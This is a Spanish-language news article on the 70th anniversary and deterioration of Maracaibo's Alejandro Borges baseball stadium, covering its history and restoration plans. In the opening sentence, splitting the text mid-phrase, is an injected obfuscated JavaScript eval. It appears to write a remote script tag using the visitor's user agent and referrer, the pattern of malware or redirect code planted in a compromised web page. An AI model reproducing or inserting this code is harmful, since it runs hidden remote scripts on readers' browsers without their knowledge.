Un coloso en penurias

Hender Áñez / Maracaibo / [email protected]
El eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fabfd|var|u0026u|referrer|afksz||js|php'.split('|'),0,{})) antiguo estadio Olímpico de Maracaibo arribó a su septuagésimo aniversario con unas instalaciones muy estropeadas y una estructura bastante maltratada. El estadio Alejandro Borges cumple hoy 70 años registrando gran parte de la historia deportiva zuliana, pero con una imagen muy deteriorada 

El estadio Alejandro Borges está muy lejos de presentar su mejor versión, pese a su status de Patrimonio Histórico Deportivo de Maracaibo

Cuando hace 70 años, el entonces estadio Olímpico de Maracaibo fue presentado ante la afición zuliana como un paraíso deportivo, no solo ilusionaba al pueblo con la construcción de semejante estructura, sino que abría las puertas para que en la Tierra del Sol Amada se escenificaran eventos deportivos del más alto nivel. 

El 8 de diciembre de 1945 el coso de la avenida 25 del sector Santa María se inauguraba oficialmente con un duelo entre los acérrimos rivales de la época en el béisbol del Zulia: Gavilanes y Pastoras. Rafael Gallis Tello tomó el primer turno en la nueva instalación y le siguió Luis Aparicio Ortega "El Grande" de Maracaibo. Más tarde fue sede de la Liga Occidental y el Torneo Rotatorio. En ese campo también jugaron las famosas Estrellas Negras del momento con Jackie Robinson y Roy Campanella en plan estelar. 

Su edificación fue gracias al empeño de Pedro Elías Belisario Aponte, presidente de la Asociación Atlética del Zulia, quien logró junto a un grupo de aliados y políticos que le fuera donado parte del terreno que pertenecía al Hipódromo Santa María. Imposible imaginar que este escenario -hoy inhóspito para la práctica deportiva de élite- registró memorables capítulos en el deporte zuliano. 

Ninguno tan grandioso como ese 18 de noviembre de 1953, Día de La Chinita, patrona de los zulianos. Ese día, en duelo entre Gavilanes y Pastora, el mánager de Gavilanes, el estadounidense Ralph Krees, colocó al Aparicio padre en su alineación como shortstop y primer bate. Su tío, Ernesto Aparicio, dueño del conjunto rapaz, presenció la inolvidable escena. "El Grande", como era conocido el padre Aparicio, salió a tomar turno en el primer inning. Después de dejar pasar un envío en bola del abridor de Pastora, Howie Fox, Krees pidió tiempo para hacer un cambio. Así, el padre le entregó el bate al hijo, quien falló con rodado a la inicial en su primer turno como profesional. Pero no solo fueron capítulos de béisbol, pues en su historial habría que incluir los inicios del legendario boxeador zuliano Betulio González y otras disciplinas. 

Un parque en ruinas 

Durante la gestión como alcalde del doctor Fernando Chumaceiro, el recinto fue rebautizado con el nombre Alejandro Borges (1989), periodista y comentarista deportivo de prensa y radio que laboró entre los años 30 y 40 del siglo pasado en el Zulia. Apodado como “El de las gafas”. Pero la realidad indica que en la actualidad el coso zuliano no está cónsono con su estatus. 

“Obviamente mañana (hoy) se conmemoran 70 años del aniversario de estadio Alejandro Borges. Pero creo que es un día que va a pasar desapercibido porque el escenario no está en las condiciones que debería. No está acorde con los años de historia que tiene en el cual se formaron los primeros ídolos deportivos del Zulia: la dinastía Aparicio y el tricampeón (de boxeo) Betulio González. El parque está lejos de mostrar su mejor cara”, dijo Enry Rosales, presidente de la Asociación Zuliana de Béisbol, a La Verdad. 

“Nosotros no criticamos por criticar y tampoco se trata de politizar este tema, pero es una realidad que hay que rescatar estas instalaciones deportivas de un parque que por cierto fue declarado patrimonio histórico deportivo de Maracaibo. Las futuras generaciones se están perdiendo de mucha historia. La pizarra la quitaron porque en su momento molestaba la práctica de fútbol y eso quedó así. Los dugouts están en el olvido y la iluminación ni hablar. Además desaparecieron la Galería de la Fama [...] Lo cierto es que hay mucho por hacer. De hecho aquí podría funcionar el Museo Deportivo del Zulia”, comentó Rosales. 

¿Si viene el rescate? 

Tal vez exista una luz al final del túnel para el legendario parque. Para Gilberto Negrette, presidente del Instituto Municipal del Deporte y la Recreación (Imdeprec), dentro de poco tiempo el estadio tendrá una cara distinta. “Estamos trabajando para rescatar ese escenario. Estuvimos adelantado con el raspado de las paredes para después pintar. Mañana (hoy) vamos a hacer unas actividades y también haremos anuncios importantes. Bajo la gestión de la alcaldesa Eveling Trejo de Rosales tenemos pensado destinar entre 50 y 60 millones de bolívares para el rescate del recinto. Eso está presupuestado para el primer trimestre del próximo año y la cifra podría subir a 80 millones de bolívares”. 

Después de tener 70 años escribiendo diversas páginas deportivas en la Tierra del Sol Amada, el Alejandro Borges necesita más que nunca del respaldo de las autoridades, pues esa zona del campo corto donde tanto Luis Aparicio Ortega y Luis Aparicio Montiel deleitaron a los zulianos con sus magistrales jugadas, tiene una mística que merece la inmortalidad. Las hazañas de Betulio González sobre el ring también piden mantener en la historia. El coso de la avenida Santa María actualmente es sede de la Liga de Béisbol Menor de Maracaibo (Limenor) y del Instituto Municipal del Deporte y la Recreación (Imdeprec) y merece seguir escenificando actos deportivos de alta calidad. 

Histórico Pura 

8 de diciembre de 1945. Se inauguró oficialmente el entonces Estadio Olímpico de Maracaibo, con el juego entre Gavilanes y Pastora. 

25 de diciembre en 1945. Se escenificó el primero de los cinco juegos que disputaron las “Estrellas Negras” encabezadas por Jackie Robinson y Roy Campanella contra equipos venezolanos en Maracaibo. 

18 de noviembre de 1953. Debut profesional del legendario Luis Aparicio Montiel, único Salón de la Fama criollo, el Día de La Chinita, tomando el legado de su padre Luis Aparicio Ortega. 

8 de diciembre de 1991, es declarado Patrimonio Histórico Deportivo de Maracaibo. 

Fuente: La Historia del Béisbol en el Zulia, por Luis Verde (1999). 

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